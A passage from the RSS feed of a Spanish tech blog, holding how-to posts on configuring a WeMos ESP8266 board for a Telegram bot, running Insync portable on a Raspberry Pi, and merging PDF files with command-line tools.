>http://valgrind.org/docs/manual/quick-start.html&lt;/a>&lt;/p></description></item><item><title>Uso telegram en Arduino WeMos</title><link>https://www.procamora.com/p/uso-telegram-en-arduino-wemos/</link><pubDate>Tue, 06 Sep 2016 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/uso-telegram-en-arduino-wemos/</guid><description>&lt;img src="https://www.procamora.com/covers/programming.png" alt="Featured image of post Uso telegram en Arduino WeMos" />&lt;h2 id="introducción">Introducción:&lt;/h2>
&lt;p>Instalar la tarjeta &lt;em>esp8266&lt;/em> en el IDE de arduino para poder configurar una placa Wemos con la que tener un bot de telegram.&lt;/p>
&lt;h2 id="requisitos-previos">Requisitos previos:&lt;/h2>
&lt;p>Tener instalado Arduino IDE&lt;/p>
&lt;ul>
&lt;li>Linux:&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#Fedora y derivadas&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf install arduino
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#Debian y derivados&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo apt-get install arduino
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;ul>
&lt;li>
&lt;p>Resto:&lt;/p>
&lt;ul>
&lt;li>&lt;a class="link" href="https://www.arduino.cc/en/Main/Software" target="_blank" rel="noopener"
>Pagina oficial de arduino&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="instalación-de-la-tarjeta-esp8266">Instalación de la tarjeta ESP8266&lt;/h2>
&lt;ol>
&lt;li>En el IDE de arduino vamos a &lt;em>Archivo/Preferencias&lt;/em> y añadimos una nueva tarjeta en el Gestor de URLs Adicionales de Tarjetas.&lt;/li>
&lt;/ol>
&lt;p>La tarjeta que hay que añadir es:&lt;/p>
&lt;p>&lt;code>http://arduino.esp8266.com/stable/package_esp8266com_index.json&lt;/code>&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2017/preferencias.png"
loading="lazy"
alt="preferencias"
>&lt;/p>
&lt;blockquote>
&lt;p>Puede agregar varias URL, separándolas con comas.&lt;/p>
&lt;/blockquote>
&lt;ol start="2">
&lt;li>Instalamos la nueva placa, para eso vamos a &lt;em>Herramientas/Placa/Gestor de tarjetas&lt;/em> y buscamos la placa &lt;code>esp8266&lt;/code> y le damos a instalar.&lt;/li>
&lt;/ol>
&lt;p>&lt;img src="https://www.procamora.com/images/2017/placas.png"
loading="lazy"
alt="placas"
>&lt;/p>
&lt;ol start="3">
&lt;li>Una vez instalada ya podemos seleccionar la placa y configurarla.&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-gdscript3" data-lang="gdscript3">&lt;span class="line">&lt;span class="cl">&lt;span class="n">Seleccionamos&lt;/span> &lt;span class="n">la&lt;/span> &lt;span class="n">placa&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">WeMos&lt;/span> &lt;span class="n">D1&lt;/span> &lt;span class="n">R2&lt;/span> &lt;span class="o">&amp;amp;&lt;/span> &lt;span class="n">mini&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Upload&lt;/span> &lt;span class="n">Using&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Serial&lt;/span> &lt;span class="err">–&lt;/span> &lt;span class="n">Use&lt;/span> &lt;span class="n">USB&lt;/span> &lt;span class="n">port&lt;/span> &lt;span class="n">on&lt;/span> &lt;span class="n">board&lt;/span> &lt;span class="n">to&lt;/span> &lt;span class="n">upload&lt;/span> &lt;span class="n">flash&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">OTA&lt;/span> &lt;span class="err">–&lt;/span> &lt;span class="n">Use&lt;/span> &lt;span class="n">OTA&lt;/span> &lt;span class="n">to&lt;/span> &lt;span class="n">upload&lt;/span> &lt;span class="n">flash&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">CPU&lt;/span> &lt;span class="n">Frequency&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">80&lt;/span>&lt;span class="n">MHz&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">160&lt;/span>&lt;span class="n">MHz&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Flash&lt;/span> &lt;span class="n">Size&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">4&lt;/span>&lt;span class="n">M&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="n">M&lt;/span> &lt;span class="n">SPIFFS&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="err">–&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="n">M&lt;/span> &lt;span class="ne">File&lt;/span> &lt;span class="n">system&lt;/span> &lt;span class="n">size&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">4&lt;/span>&lt;span class="n">M&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="n">M&lt;/span> &lt;span class="n">SPIFFS&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="err">–&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="n">M&lt;/span> &lt;span class="ne">File&lt;/span> &lt;span class="n">system&lt;/span> &lt;span class="n">size&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Upload&lt;/span> &lt;span class="n">Speed&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">921600&lt;/span> &lt;span class="n">bps&lt;/span> &lt;span class="err">–&lt;/span> &lt;span class="n">recommend&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;img src="https://www.procamora.com/images/2017/wemos.png"
loading="lazy"
alt="wemos"
>&lt;/p>
&lt;h2 id="instalacion-de-los-ejemplos-de-uso-para-la-placa-wemos">Instalacion de los ejemplos de uso para la placa Wemos&lt;/h2>
&lt;ol>
&lt;li>
&lt;p>Nos descargamos el &lt;a class="link" href="https://github.com/wemos/D1_mini_Examples" target="_blank" rel="noopener"
>repositorio de ejemplos de Wemos&lt;/a> (como un zip)&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Renombramos el zip como D1_mini_Examples&lt;/p>
&lt;/li>
&lt;li>
&lt;p>En &lt;em>Programa/Incluir librería/Añadir librería .ZIP&lt;/em> seleccionamos la librería para que se importe y ya esta lista para ser usada.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>&lt;img src="https://www.procamora.com/images/2017/ejemploswemos.png"
loading="lazy"
alt="ejemplos"
>&lt;/p>
&lt;h2 id="instalación-de-la-librería-universal-telegram-bot-library">Instalación de la librería Universal Telegram Bot Library&lt;/h2>
&lt;ol>
&lt;li>
&lt;p>Descargar la librería &lt;a class="link" href="https://github.com/witnessmenow/Universal-Arduino-Telegram-Bot" target="_blank" rel="noopener"
>Universal Telegram Bot Library&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Añadir la librería al IDE de arduino y ya la podremos usar&lt;/p>
&lt;/li>
&lt;/ol>
&lt;h4 id="importante">IMPORTANTE:&lt;/h4>
&lt;p>A la hora de hacer la conexión WIFI los ejemplos por defecto no funcionan correctamente&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">void&lt;/span> &lt;span class="nf">bien&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Serial&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">begin&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">115200&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">WiFi&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">begin&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">SSID_WIFI&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">PASS_WIFI&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="c1">//definidas en credentials.h
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="k">while&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">WiFi&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">status&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="n">WL_CONNECTED&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">delay&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">500&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Serial&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;.&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Serial&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">println&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;WiFi conectado&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Serial&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">println&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;IP address: &amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Serial&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">println&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">WiFi&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">localIP&lt;/span>&lt;span class="p">());&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">void&lt;/span> &lt;span class="nf">mal&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Serial&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">begin&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">115200&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">WiFi&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">begin&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ssid&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">password&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="n">WL_CONNECTED&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Serial&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;.&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">delay&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">500&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Serial&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">println&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;WiFi connected&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Serial&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">println&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;IP address: &amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IPAddress&lt;/span> &lt;span class="n">ip&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">WiFi&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">localIP&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Serial&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nf">println&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ip&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div></description></item><item><title>Add count insync portable cli</title><link>https://www.procamora.com/p/add-count-insync-portable-cli/</link><pubDate>Tue, 21 Jun 2016 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/add-count-insync-portable-cli/</guid><description>&lt;img src="https://www.procamora.com/covers/draft.png" alt="Featured image of post Add count insync portable cli" />&lt;p>Para usar Insync desde la consola en Raspberry hay disponibles 2 compilaciones:&lt;/p>
&lt;ul>
&lt;li>&lt;a class="link" href="https://www.procamora.com/downloads/insync/insync-armhf_1.3.17.36167_i386.tar.bz2" >armhf&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://www.procamora.com/downloads/insync/insync-armel_1.3.17.36167_i386.tar.bz2" >armel&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Lo primero es saber cual de las 2 versiones necesita, para ello tenemos dos opciones, ambas son leyendo&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">readelf -A /proc/self/exe &lt;span class="p">|&lt;/span> grep Tag_ABI_VFP_args
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">readelf -A /lib/arm-linux-gnueabihf/libc.so.6 &lt;span class="p">|&lt;/span> grep Tag_ABI_VFP_args
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Si obtenemos la linea &lt;em>Tag_ABI_VFP_args: VFP registers&lt;/em> entonces es armhf, en caso de que no este la linea es armel.&lt;/p>
&lt;p>Una vez que hemos descargado la build que necesitamos, en mi caso armhf&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">wget https://d2t3ff60b2tol4.cloudfront.net/test_builds/armhf/insync-armhf_1.3.17.36167_i386.tar.bz2
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># or&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">wget procamora.github.io/downloads/insync/insync-armhf_1.3.17.36167_i386.tar.bz2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Descomprimimos el fichero descargado:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">tar -xjf insync-armhf_1.3.17.36167_i386.tar.bz2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Accedemos al directorio que se ha creado e iniciamos el proceso:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">./insync-portable start
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Nos pedirá que añadamos una nueva cuenta, para ello necesitamos un token de acceso a nuestra cuenta de google, esto se hace desde la siguiente url: &lt;a class="link" href="https://insynchq.com/auth" target="_blank" rel="noopener"
>https://insynchq.com/auth&lt;/a>.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">./insync-portable add_account --auth-code 34/P23489sd4sHp08785548ssssswf8s7df7sdflk_KLl33235s7d8a456
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>También se puede gestionar la cuenta para descargar solo las carpetas deseadas con:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">./insync-portable manage_selective_sync mail@gmail.com
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Fuentes: &lt;a class="link" href="https://help.insynchq.com/en/articles/112904-linux-insync-on-raspberry-pi" target="_blank" rel="noopener"
>0&lt;/a>, &lt;a class="link" href="https://forums.insynchq.com/t/how-to-test-insync-on-raspberry-pi/36" target="_blank" rel="noopener"
>1&lt;/a>, &lt;a class="link" href="https://sneakykoder.wordpress.com/2013/09/24/insync-google-drive-in-linux/" target="_blank" rel="noopener"
>2&lt;/a>&lt;/p></description></item><item><title>Concatenar pdf</title><link>https://www.procamora.com/p/concatenar-pdf/</link><pubDate>Wed, 11 May 2016 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/concatenar-pdf/</guid><description>&lt;img src="https://www.procamora.com/covers/software.png" alt="Featured image of post Concatenar pdf" />&lt;h1 id="introducción">Introducción:&lt;/h1>
&lt;p>El objetivo es concatenar múltiples pdf en un único pdf, intentando mantener la estructura interna de los pdf a unir.&lt;/p>
&lt;p>Para hacer esto tenemos múltiples opciones:&lt;/p>
&lt;ul>
&lt;li>&lt;a class="link" href="#header1" >Concatenar por linea de comandos&lt;/a>:
&lt;ul>
&lt;li>&lt;a class="link" href="#mark0" >pdfunite&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark1" >ImageMagick&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark2" >pdfjam&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark3" >Ghostscript Pad&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a class="link" href="#header2" >Concatenar con librerias externas&lt;/a>:
&lt;ul>
&lt;li>&lt;a class="link" href="#mark4" >Python&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a class="link" href="#header3" >Concatenar Online&lt;/a>:
&lt;ul>
&lt;li>&lt;a class="link" href="#mark5" >smallpdf&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a class="link" href="#header4" >Resumen general&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#header5" >Conclusion final&lt;/a>&lt;/li>
&lt;/ul>
&lt;h1 id="header1">Concatenar por linea de comandos&lt;/h1>
&lt;ul>
&lt;li>&lt;a class="link" href="#mark0" >pdfunite&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark1" >ImageMagick&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark2" >pdfjam&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark3" >Ghostscript Pad&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="mark0">Pdfunite&lt;/h2>
&lt;p>&lt;a class="link" href="https://github.com/mtgrosser/pdfunite" target="_blank" rel="noopener"
>Pdfunite&lt;/a> es una herramienta muy simple excrita en ruby para unir pdf, se instala rápido, funciona bien pero el indice de los pdf se lo carga.&lt;/p>
&lt;h3 id="instalación">Instalación.&lt;/h3>
&lt;p>Solo hay que instalar el paquete &lt;code>poppler&lt;/code> que lo contiene.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">dnf install poppler-utils
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="unión-de-pdf">Unión de pdf.&lt;/h3>
&lt;p>Para unir varios pdf lo único que hay que hacer es pasárselos a pdfunite como argumento teniendo en cuenta que se irán añadiendo al pdf en el mismo orden y que el ultimo parámetro debe de ser el nombre del pdf resultante.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">pdfunite pdf1.pdf pdf2.pdf output.pdf
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Como inconveniente el indice que traigan otros pdf se lo carga.&lt;/p>
&lt;h2 id="mark1">ImageMagick (no recomendado)&lt;/h2>
&lt;p>Este método funciona pero reduce la calidad (resolucion) del pdf un poco y aumenta bastante el tamaño del pdf resultante, su uso seria el siguiente:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">convert -density 300x300 -quality 100 pdf1.pdf pdf2.pdf output.pdf
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark2">Pdfjam &lt;/h2>
&lt;p>&lt;a class="link" href="http://www2.warwick.ac.uk/fac/sci/statistics/staff/academic-research/firth/software/pdfjam/" target="_blank" rel="noopener"
>Pdfjam&lt;/a> es un conjunto de pequeños script para hacer modificaciones a pdf, pero a nosotros la única herramienta que nos interesa ahora mismo es pdfjam que es la principal, ya que es la que usaremos para unir los pdf.&lt;/p>
&lt;h3 id="instalación-1">Instalación.&lt;/h3>
&lt;p>La Instalación en Fedora es simple, solo hay que instalar un paquete.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">[sudo] dnf install pdfjam
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="union-de-pdf">Union de pdf.&lt;/h3>
&lt;p>Para unir varios pdf lo único que hay que hacer es pasárselos a pdfjam como argumento teniendo en cuenta que se irán añadiendo al pdf en el mismo orden y que el pdf resultante debe ir precedido por un &lt;code>-o&lt;/code> para indicar que es la salida.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
